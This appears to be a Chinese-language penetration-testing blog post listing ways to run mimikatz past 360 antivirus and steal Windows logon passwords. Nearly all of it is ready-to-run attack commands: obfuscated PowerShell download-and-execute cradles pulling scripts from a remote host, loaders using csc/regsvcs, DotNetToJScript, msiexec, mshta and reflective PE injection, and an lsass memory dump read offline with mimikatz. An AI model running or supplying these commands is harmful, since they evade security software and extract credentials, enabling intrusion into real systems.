前言

平时收集的一些姿势,用户绕过杀软执行mimikatz,这里以360为例进行bypass 测试。

下载最新版360:

未经处理的mimikatz直接就被杀了

下面开始进行绕过360抓密码

姿势一-powershell

https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

cmd下执行

C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

也可以远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz

但是powershell被360拦截

简单混淆就bypass了

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

姿势二-用.net2.0加载mimikatz

作者Casey Smith, Twitter: @subTee

下载

https://gist.githubusercontent.com/nicholasmckinney/896b508b6cf1e8c3e567ccab29c8d3ec/raw/afa7219adbfcdfc160c163273ef8ec61ff0658b4/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727

先powoershell执行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Contentkey.snk -Value $Content -EncodingByte

再cmd执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

姿势三-JS加载mimikatz

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript

mimikatz

https://gist.github.com/500646/14051b27b45dce37818aca915e93062f/raw/2adcc9d2570b4367c6cc405e5a5969863d04fc9b/katz.js

执行cscript mimikatz.js

但是这个方法已经会被一些杀软标记成恶意软件,绕过方法参考

姿势四-msiexec加载mimikatz

作者 homjxi0e

下载

https://github.com/homjxi0e/PowerScript/blob/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi

远程执行

PS:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestartcmd:> msiexec.exe /passive /i https://github.com/homjxi0e/PowerScript/raw/master/Mimikatz.2.1.1/X64/Mimikatz%20x64.msi /norestart

本地执行

msiexec /passive /i C:\Users\Administrator\Downloads\Mimikatz.msi

姿势五-.net4.0加载mimikatz

姿势七-jscript的sct版

作者 subTee

下载

https:/gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct

执行

mshta.exe javascript:a=GetObject("script:https://gist.github.com/caseysmithrc/3fe7a8330a74b303562eb494d47e79c5/raw/9336891fc81ac71bfff3c8fd4a8816dead30964e/mimikatz.sct").Exec(); log coffee exit

姿势八-内存中加载mimikatz

下载

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.0.101/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

动图:http://ringk3y.com/wp-content/uploads/2018/07/1-2.gif

姿势九-导出lsass进程离线读密码

下载procdump64.exe

执行

procdump64.exe-accepteula-malsass.exe 1.dmp

也可以在任务管理器中操作

image.png

然后将1.dmp下载到本地

mimikatz_2.1_64.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

image.png

总结

1.对比这几种方式个人还是喜欢导出lsass进程内存方式来读取密码。

2.也可以用powershell远程加载mimikatz脚本读密码,简单方便。
